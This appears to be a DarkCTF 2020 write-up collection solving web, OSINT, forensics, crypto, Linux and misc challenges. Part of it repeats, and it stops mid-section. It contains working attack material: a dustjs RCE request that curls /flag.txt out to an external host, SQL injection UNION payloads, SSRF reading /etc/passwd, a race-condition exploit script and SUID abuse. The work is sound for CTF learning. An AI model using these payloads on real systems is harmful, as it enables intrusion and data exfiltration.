It seems that dustjs uses eval for interpreting inputs. However, the library does sanitize the input if *it is a string*. Providing anything else as input will let us bypass the sanitization and we can provide an array when creatin a new message.
I didn't find a way to return the content of the flag inside the response, so I had to send it to a remote server (I used [pipedream](https://pipedream.com) as host).Adjust the payload used in the article, we'll have the next request:
```textGET /addNotes?message[]=x&message[]=y'-require('child_process').exec('curl%20-F%20"x%3d`cat%20/flag.txt`"%20https://en5dsa3dt3ggpvb.m.pipedream.net')-' HTTP/1.1```This will make `message` an array, so it will bypass the sanitization, and it will take the content of `/flag.txt` and send it with curl to my host. Going to pipedream I can see the flag.
Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
## Agent U#### Description>Agent U stole a database from my company but I don't know which one. Can u help me to find it?>>http://agent.darkarmy.xyz/>>flag format darkCTF{databasename}### SolutionGoing to the given link we see a simple page with a login form. Looking at the source code we see the next line: ` `.Using these credentials, the server responds with the same page plus the next information:```textYour IP ADDRESS is: 141.101.96.206<font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</font>```Based on the challenge title and description I tried to insert some SQL injection into the User-Agent header.
I used as input `U'"` and got a MySQL error message. Cool.The error message is: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '141.101.96.206', 'admin')' at line 1`
From this point on I tried a lot of things like UNION SELECT, GROUP_CONCAT, type conversion etc., but nothing worked.In the end, I tried to call a a function that I assumed it doesn't exist and, since the functions are attached to the database, the response gave me the name of the database: `ag3nt_u_1s_v3ry_t3l3nt3d`
Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
## PHP Information#### Description>Let's test your php knowledge.>>Flag Format: DarkCTF{}>>http://php.darkarmy.xyz:7001### SolutionGoing to that link we get the source code of a php page. It seems that we need to pass some conditions in order to get the flag.
First condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";} ```We need to provide a query parameter with the name `darkctf` and the value `2020`. This will not give us the flag, but the first part of it: `DarkCTF{`
Second condition:```phpif ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";} ```We need to change the value from User-Agent header to match the decoded value of `MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==` which is `2020_the_best_year_corona`. Thill will get use the second part of the flag: `very_`
Third condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } } }```We need to provide a query string parameter with the name `ctf2020` and the value must be the base64 *encoded* value of `ZGFya2N0Zi0yMDIwLXdlYg==`.This gives us `nice`.
The last thing:```phpif (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>"; } ```So, we need to provide two more query parameters: one named `karma` and one named `2020`. The md5 hash of these two must be equal, but without providing the same string for both parameters. We could search for a md5 collision, meaning that we need to find two strings with the same hash, but it is a simpler way here.Notice that the hash results are compared with a weak comparison `==` and we can levarage this by using type juggling in our advantage.What we want is to find two strings that will have the md5 hash strating with `0e`. Why is that? Well, the php will try to convert the string into an integer because of the `e` and the weak comparison. For example, `0e2` will be onverted into `0 * 10 ^ 2` which is of course 0. So, by exploiting this weak comparison we want to achive `0 == 0` which will be true.I took two strings from this [article](https://www.whitehatsec.com/blog/magic-hashes/) that have the md5 hashes starting with `0e`: `Password147186970!` and `240610708`This will give us the rest of the flag: `_web_challenge_dark_ctf}`
Final request from Burp:
Flag: DarkCTF{very_nice_web_challenge_dark_ctf}
## Chain Race#### Description>All files are included. Source code is the key.>>http://race.darkarmy.xyz:8999### SolutionThe link prompts us with the next page:
Providing an URL, the server returns the content from that address, meaning that some requests are made in back-end. My first though was that this is a code injection vulnerability, but that is not the case. Providing as input `file:///etc/passwd` we can read the content from `/etc/passwd`.
Knowing that we can read files on disk, let us get some. The requests with URLs are made to `testhook.php`, so that is our first target. Trying `file:///var/www/html/testhook.php` gives us the source code of `testhook.php` and tells us that this is the location of the server.
```php
```
So, the value from `$_POST["handler"]` is used to make a request using `curl`. Researching a little about this module does not give us more than we already know. Time to go back to the `/etc/passwd` file.Note the last entry from the file: `localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin`This hint suggests that another server is running on port 8080. However, the server is not exposed externally, so it cannot be accessed with http://race.darkarmy.xyz:8080.Let's do a Server-Side Request Forgery by providing as input in the form from the main page `http://localhost:8080`. This gives us the next source code:
```php
Listen 443</IfModule>
<IfModule mod_gnutls.c>Listen 443</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet```
Reading `/etc/apache2/sites-enabled/000-default.conf` gave us the location of the second server:
```text<VirtualHost *:8080>DocumentRoot /var/www/html1</VirtualHost>```
We can get the content of `index.php`, but not from `flag.php`. However, it was a nice try.
Coming back to the source code from `http://localhost:8080`:There are some conditions that we need to pass in order to get the flag. The first one:
```phpif(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die();}
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope");}``` - Both `secret` and `user` must have a value - `secret` must not be equal to `0x1337` (weak comparison) - `user` must not be equal with `admin`
Second condition:```php$login_1 = 0;$login_2 = 0;
$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;
if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1;}
if ($login_1 && $login_2) { // third condition, will be discussed next}````$login_1 && $login_2` must evaluate to `true` and for that we need: - `user` must start with `admin` - `strcasecmp($_GET['secret'], "0x1337")` must be equal with `0` (weak comparison)
The third condition is not related to `user` and `secret` so let us summarize up until this point what we need.
- `user` must not be equal with `admin` and it must strart with `admin` - Solution: set `user` equal with `admin1` - `secret` must not be equal with `0x1337` (weak comparison), but it must satisfy `strcasecmp($_GET['secret'], "0x1337") == 0` - Any other value that after type juggling is not equal with `0x1337` it is good - We need to bypass `strcasecmp($_GET['secret'], "0x1337") == 0` because, normally, the result would be 0 only if the strings are identical at byte level - Solution: make `secret` an array. This way `strcasecmp` will return `false` that will be equal to `0` due to the weak comparison
Let's check the last condition:
```phpsession_start();
$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));session_destroy();
file_put_contents($temp_name, "your_fake_flag");
if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag;}```In order to get the flag `unlink` needs to return `false`. Let's get line by line to fully understand what happens here.
- `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` - This will be the name of the file that will be saved on disk - Is the result of SHA1 hashing the MD5 hash of `date("ms").@$_COOKIE['PHPSESSID']` - `date("ms")` will return the month and the second of the current time (e.g. `0956`, where `09` is the month and `56` the seconds) - `@$_COOKIE['PHPSESSID']` will return the value of the cookie named `PHPSESSID`. The `@` will surpress any error or warning message.- `file_put_contents($temp_name, "your_fake_flag");` - Write `your_fake_flag` into a file that has as name the value from `$temp_name` - If the file doesn't exist it will be created- `if(@unlink($temp_name)) { die("Nope"); }` - `unlink` will attempt to delete the file - If needs to fail in order to retrieve the flag
In order to make `unlink` call fail, we need to open the file for reading right when `unlink` will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input `file:///var/www/html/file-name`, but we have a problem, we need to anticipate the name of the file. Let's look again at the line where the file name is made: `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));`
It is a little trick here. You could not guess the value of the session cookie, but here the cookie is not set inside the `$_COOKIE` object even if it the session was initialied. And since the `@` is used, any error or warning will be surpressed, we do not need to worry about it, it will be an empty string.
So, `sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` is equivalent with `sha1(md5(date("ms")))`. Now, we can work with this.
I used the script below in order to exploit the race condition, tackin into account all the considerations mentioned above:
```php 'http://localhost:8080/?user=admin1&secret[]=1'];
$ch_flag_body = http_build_query($ch_flag_handler);
$flag = '';// looping until we get the flag// a race condition is somewhat not deterministic and requires multiple attemptswhile(strpos($flag, 'dark') === false) { // initialize curl object that will contain the flag $ch_flag = curl_init(); curl_setopt($ch_flag, CURLOPT_URL, $url); curl_setopt($ch_flag, CURLOPT_POST, true); curl_setopt($ch_flag, CURLOPT_POSTFIELDS, $ch_flag_body); curl_setopt($ch_flag, CURLOPT_RETURNTRANSFER, 1);
// initialize curl object for exploiting race condition $tmp_file = sha1(md5(date("ms"))); // generate the same file name $url_tmp_file = "file:///var/www/html/".$tmp_file; $ch_race_handler = [ 'handler' => $url_tmp_file ]; $ch_race_body = http_build_query($ch_race_handler);
$ch_race = curl_init(); curl_setopt($ch_race, CURLOPT_URL, $url); curl_setopt($ch_race, CURLOPT_POST, true); curl_setopt($ch_race, CURLOPT_POSTFIELDS, $ch_race_body); curl_setopt($ch_race, CURLOPT_RETURNTRANSFER, 1);
// multi handler curl object for launching the 2 reqeusts in parallel $mh = curl_multi_init(); curl_multi_add_handle($mh, $ch_flag); curl_multi_add_handle($mh, $ch_race);
// launch requests $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
// read response $flag = curl_multi_getcontent($ch_flag); $file_content = curl_multi_getcontent($ch_race); echo("Flag: ".$flag." -> TMP url: ".$url_tmp_file." -> File: ".$file_content."\n"); // for debugging
curl_multi_remove_handle($mh, $ch_flag); curl_multi_remove_handle($mh, $ch_race); curl_multi_close($mh);}?>```After 1 minute we get the flag:
Flag: darkCTF{9h9_15_50_a3fu1}
# OSINT## Dark Social Web#### Description>0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere>>flag format: darkctf{}
### SolutionBy the provided description I decided to start by searching for accounts with the username `0xDarkArmy`. For this I used [sherlock](https://github.com/sherlock-project/sherlock) and I got the next results:
I checked all of them and I found something on the [reddit page](https://www.reddit.com/user/0xDarkArmy/), a post meant for the CTF:
The post contains a QR image.
I used https://qrscanneronline.com/ to decode it and I got the next link: https://qrgo.page.link/zCLGd. Going to this address redirects us to an onion link: http://cwpi3mxjk7toz7i4.onion/
Moving to Tor, we get a site with a static template. Checking the `robots.txt` file give us half of flag:
Now, for the other half I tried the next things with no success:- Checked the source code- Checked the imported scripts and stylesheets- Checked the requests made- Compared the source code of the template from the official page with the source code from this site - source code was identical
I knew that the flag must be somewhere on this site, so I started looking for directory listing, but with the developer tools open (I wanted to see the status codes returned).
First thing I tried looking in the folders with images, then I took folders from the imported stylesheets.
When I made a GET request to http://cwpi3mxjk7toz7i4.onion/slick/ I noticed a custom HTTP Header in the response. That header contains the rest of the flag.
Flag: darkctf{S0c1a1_D04k_w3b_051n7}
# Forensics## AW#### Description>"Hello, hello, Can you hear me, as I scream your Flag! "
### SolutionAttached to this challenge is a `.mp4` file called `Spectre`. There are indiciations that we might get the flag from a spectogram, but for that we must strip the audio from the video file.We can achieve that with `ffmpeg -i Spectre.mp4 audio.mp3`.Next, I used [Sonic Visualizer](#https://www.sonicvisualiser.org/) to analyze the file. I added a spectogram, played a little with the settings to better view the flag and I was able to extract it.
Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
# Crypto## haxXor#### Description>you either know it or not take this and get your flag>>5552415c2b3525105a4657071b3e0b5f494b034515### SolutionBy the title and description, we can assume that the given string was XORed and we can see that the string is in HEX.First thing, we'll asume that the flag will have the standard format, so we'll search for a key that will give us `darkCTF{`.I used an adapted version of the script provided in this [write-up](https://medium.com/@apogiatzis/tuctf-2018-xorient-write-up-xor-basics-d0c582a3d522) and got the key.
Key: `1337hack`XORing the string with this key gives us the flag.
Flag: darkCTF{kud0s_h4xx0r}
# Misc## Minetest 1#### Description>Just a sanity check to see whether you installed Minetest successfully and got into the game### SolutionInstalled minetest with `sudo apt-get install minetest`, moved the world with the mods into the `~/.minetest/worlds` and started the world.The world contains a simple logic circuit. If we make the final output positive, we get the flag.
Flag: DarkCTF{y0u_5ucess_fu11y_1ns7alled_m1n37e57}
# Linux## linux starter#### Description>Don't Try to break this jail>>ssh [email protected] -p 8001 password : wolfie### SolutionAfter we connect, we see in the home directory 3 folders. From these, two are interesting because are owned by root.
As you can see, we do not have read and execute permissions on these ones. Doing an `ls -la imp/` shows us that the folder contains the flag and we can get it with `cat imp/flag.txt`.
For this challenge you could also read the .bash_history file and get some hints.
Flag: darkCTF{h0pe_y0u_used_intended_w4y}
## Secret Vault#### Description>There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>>ssh [email protected] -p 10000>>Alternate: ssh [email protected] -p 10000 password: wolfie### Solution
We find a hidden directory under `/home` called `.secretdoor/`. Inside we found a binary called `vault` that expects a specific pin in order to "unlock the vault".
I used the next one liner in order to find the right pin:```bashnr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;```
By Base85 decoding the string we get the flag.
Flag: darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
## Squids#### Description>Squids in the linux pool>>Note: No automation tool required.>>ssh [email protected] -p 10000 password: wolfie### SolutionBased on the title, it might have something to do with suid binaries, so let's do a `sudo -l`. This gives us `Sorry, user wolf may not run sudo on 99480b7da54a.`Let's try to find suid binaries with `find`. Running `find / -type f -perm -u=s 2>/dev/null` shows us the next binaries:
The interesting one is `/opt/src/src/iamroot`. Just running it, with no arguments gives us a segmentation fault error. By forwarding an argument we get the error message `cat: a: No such file or directory`. Seems that we can run `cat` with the owner's privileges and the owner is root. Running `./iamroot /root/flag.txt` gives us the flag.
Flag: darkCTF{y0u_f0und_the_squ1d}
|
##### Table of Contents- [Web](#web) - [Source](#source) - [So_Simple](#so-simple) - [Apache Logs](#apache-logs) - [Simple_SQL](#simple-sql) - [Dusty Notes](#dusty-notes) - [Agent U](#agent-u) - [PHP Information](#php-information) - [Chain Race](#chain-race)- [OSINT](#osint) - [Dark Social Web](#dark-social-web)- [Forensics](#forensics) - [AW](#aw)- [Crypto](#crypto) - [haxXor](#haxxor)- [Misc](#misc) - [Minetest 1](#minetest1)- [Linux](#linux) - [linux starter](#linux-starter) - [Secret Vault](#secret-vault) - [Squids](#squids)
# Web## Source#### Description>Don't know source is helpful or not !!
### SolutionWe get the source code of the challenge (you can see it below):```php<html> <head> <title>SOURCE</title> <style> #main { height: 100vh;} </style> </head> <body><center><link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ohhhhh!!! Very Close </div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Nice!!! Near But Far</div>'); }} else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ahhhhh!!! Try Not Easy</div>');}?></center>
darkCTF{}
Ohhhhh!!! Very Close
Nice!!! Near But Far
Ahhhhh!!! Try Not Easy
</body></html>```
In order to get the flag we need to pass the next validations:```php$web = $_SERVER['HTTP_USER_AGENT'];if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>');```- \$web = \$_SERVER['HTTP_USER_AGENT']; represents the User-Agent header- \$web needs to be numeric- \$web needs to have a length smaller than 4- \$web needs to be bigger than 10000
darkCTF{}
In PHP, we can provide numbers as exponentials expressions and what I mean by that are expressions like `5e52222`. This will translate into 5 * 10 ^ 52222.Knowing this, we fire up Burp, change the `User-Agent` to `9e9` which:- is numeric- has a length of 3- it is equals to 9000000000 which is bigger than 10000
After hitting send we get the flag.
Flag: darkCTF{changeing_http_user_agent_is_easy}
## So_Simple#### Description>"Try Harder" may be You get flag manually>>Try id as parameter### SolutionWe get a link that displays a simple page that says try harder. The only clue I could find on how to start finding a vulnarblity was from the description. I tried a get request with `id` as parameter with the value test and I compared the result with a request that does not have the parameter.
The left panel contains the response from the request with the `id` parameter set to `test`.
I noticed that the server responds with an additional `font` tag when the parameter is present, so I tried an input like `';"//` and I got a MySQL error. Now it is clear that the parameter is vulnerable to SQL injection. Below is a table with the payloads that I used and the results. I used as resource [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) repo.
Payload | Result | Summary--------|--------|--------`' union select 1, 2, group_concat("~", schema_name, "~") from information_schema.schemata where '1' = '1` | `~information_schema~,~id14831952_security~,~mysql~,~performance_schema~,~sys~` | Number of columns of current table and databases names`' union select 1, 2, group_concat("~", table_name, "~") from information_schema.tables where table_schema='id14831952_security` | `~emails~,~referers~,~uagents~,~users~` | Table names from id14831952_security`' union select 1, 2, group_concat("~", column_name, "~") from information_schema.columns where table_name='users` | `~id~,~username~,~password~,~USER~,~CURRENT_CONNECTIONS~,~TOTAL_CONNECTIONS~` | Column names from table users`' union select 1, 2, group_concat("~", username, "~") from users where 'a'='a` | `~LOL~,~Try~,~fake~,~its secure~,~not~,~dont read~,~try to think ~,~admin~,~flag~` | Values from column username, table users`' union select id, password, username from users where username='flag` | `darkCTF{uniqu3_ide4_t0_find_fl4g}` | Got the flag, it was in the password column
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
## Apache Logs#### Description >Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.>>flag format: DarkCTF{}
### SolutionWe get a text file with logs of the requests made. For example:```text192.168.32.1 - - [29/Sep/2015:03:28:43 -0400] "GET /dvwa/robots.txt HTTP/1.1" 200 384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Looking into them, we can see that someone makes some login attempts, a registration and it tries a few endpoints. By the final of the file we have some SQL injection attempts. There are 3 interesting logs, let us look into them.
```text192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Notice that the `username` parameter contains what appears to be a SQLi payload. URL decoding it gives us `' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+`. I used Javascript to convert the integers to characters with the next two lines of code:
```jslet integersArray = [102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110];let charactersArray = integersArray.map(nr =>String.fromCharCode(nr));console.log(charactersArray.join(''));```This gave me `flag is SQL_Injection`, but this is not the flag, I tried it. Let us look further.
```text192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Decoding the payload gives us `CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)` that represents `you are on the right track`. Cool, let us move forward.
```text192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Decoding the payload gives us a similar array of numbers that represents `flag is DarkCTF{5ql_1nj3ct10n}`
Flag: DarkCTF{5ql_1nj3ct10n}
## Simple_SQL#### Description>Try to find username and password>[Link](http://simplesql.darkarmy.xyz/)
### SolutionGoing to the provided link and looking at the source code of the page, we can see the next clue: ` `Firing up Burp and fuzzing around the `id` parameter, we notice that we can inject SQL with `1 or 2=2`, getting as a response `Username : LOL Password : Try `.
I wanted to know what are the first 10 entries, so I went with `id=1` and I stopped at `id=9` because that entry contains the flag, so no SQLi needed.
Flag: darkCTF{it_is_very_easy_to_find}
## Dusty Notes #### Description>Sometimes some inputs can lead to flagPS :- All error messages are intended ### SolutionWe get a link that gives us the next page:
Long story short, we can add and delete notes. Playing with some requests in Burp I noticed that the cookie changes on every new note added or deleted. It turns out the cookie stores an array of objects in the next form: `j:[{"id":1,"body":"Hack this"}]`I assume this is some kind of serialized value that I need to exploit (not really, keep reading), but I have no idea what programming language runs on the server, so I modified the cookie into `j:[{"id":1,"body":"Hack this"},{"id":1,"body":__FILE__}]` hoping to find out more.Fortunately, the server responded with an error message that tells us that the server runs on Node.js.```textTypeError: note.filter is not a function at /app/app.js:96:34 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at param (/app/node_modules/express/lib/router/index.js:354:14) at param (/app/node_modules/express/lib/router/index.js:365:14) at Function.process_params (/app/node_modules/express/lib/router/index.js:410:3) at next (/app/node_modules/express/lib/router/index.js:275:10) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:91:12) at trim_prefix (/app/node_modules/express/lib/router/index.js:317:13) at /app/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at urlencodedParser (/app/node_modules/body-parser/lib/types/urlencoded.js:82:7)```However, this doesn't give us much, so fuzzing a bit more I get the next error message for `j:[{"id":1,"body":["Hack this'"]}]`:
```json{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}```Looking into this response, I noticed the error is thrown from `dustjs`. I didn't know about it, but I searched for `dustjs exploit` and I found some good articles ([here's one](https://artsploit.blogspot.com/2016/08/pprce2.html)) about a RCE vulnerability.
It seems that dustjs uses eval for interpreting inputs. However, the library does sanitize the input if *it is a string*. Providing anything else as input will let us bypass the sanitization and we can provide an array when creatin a new message.
I didn't find a way to return the content of the flag inside the response, so I had to send it to a remote server (I used [pipedream](https://pipedream.com) as host).Adjust the payload used in the article, we'll have the next request:
```textGET /addNotes?message[]=x&message[]=y'-require('child_process').exec('curl%20-F%20"x%3d`cat%20/flag.txt`"%20https://en5dsa3dt3ggpvb.m.pipedream.net')-' HTTP/1.1```This will make `message` an array, so it will bypass the sanitization, and it will take the content of `/flag.txt` and send it with curl to my host. Going to pipedream I can see the flag.
Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
## Agent U#### Description>Agent U stole a database from my company but I don't know which one. Can u help me to find it?>>http://agent.darkarmy.xyz/>>flag format darkCTF{databasename}### SolutionGoing to the given link we see a simple page with a login form. Looking at the source code we see the next line: ` `.Using these credentials, the server responds with the same page plus the next information:```textYour IP ADDRESS is: 141.101.96.206<font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</font>```Based on the challenge title and description I tried to insert some SQL injection into the User-Agent header.
I used as input `U'"` and got a MySQL error message. Cool.The error message is: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '141.101.96.206', 'admin')' at line 1`
From this point on I tried a lot of things like UNION SELECT, GROUP_CONCAT, type conversion etc., but nothing worked.In the end, I tried to call a a function that I assumed it doesn't exist and, since the functions are attached to the database, the response gave me the name of the database: `ag3nt_u_1s_v3ry_t3l3nt3d`
Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
## PHP Information#### Description>Let's test your php knowledge.>>Flag Format: DarkCTF{}>>http://php.darkarmy.xyz:7001### SolutionGoing to that link we get the source code of a php page. It seems that we need to pass some conditions in order to get the flag.
First condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";} ```We need to provide a query parameter with the name `darkctf` and the value `2020`. This will not give us the flag, but the first part of it: `DarkCTF{`
Second condition:```phpif ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";} ```We need to change the value from User-Agent header to match the decoded value of `MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==` which is `2020_the_best_year_corona`. Thill will get use the second part of the flag: `very_`
Third condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } } }```We need to provide a query string parameter with the name `ctf2020` and the value must be the base64 *encoded* value of `ZGFya2N0Zi0yMDIwLXdlYg==`.This gives us `nice`.
The last thing:```phpif (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>"; } ```So, we need to provide two more query parameters: one named `karma` and one named `2020`. The md5 hash of these two must be equal, but without providing the same string for both parameters. We could search for a md5 collision, meaning that we need to find two strings with the same hash, but it is a simpler way here.Notice that the hash results are compared with a weak comparison `==` and we can levarage this by using type juggling in our advantage.What we want is to find two strings that will have the md5 hash strating with `0e`. Why is that? Well, the php will try to convert the string into an integer because of the `e` and the weak comparison. For example, `0e2` will be onverted into `0 * 10 ^ 2` which is of course 0. So, by exploiting this weak comparison we want to achive `0 == 0` which will be true.I took two strings from this [article](https://www.whitehatsec.com/blog/magic-hashes/) that have the md5 hashes starting with `0e`: `Password147186970!` and `240610708`This will give us the rest of the flag: `_web_challenge_dark_ctf}`
Final request from Burp:
Flag: DarkCTF{very_nice_web_challenge_dark_ctf}
## Chain Race#### Description>All files are included. Source code is the key.>>http://race.darkarmy.xyz:8999### SolutionThe link prompts us with the next page:
Providing an URL, the server returns the content from that address, meaning that some requests are made in back-end. My first though was that this is a code injection vulnerability, but that is not the case. Providing as input `file:///etc/passwd` we can read the content from `/etc/passwd`.
Knowing that we can read files on disk, let us get some. The requests with URLs are made to `testhook.php`, so that is our first target. Trying `file:///var/www/html/testhook.php` gives us the source code of `testhook.php` and tells us that this is the location of the server.
```php
```
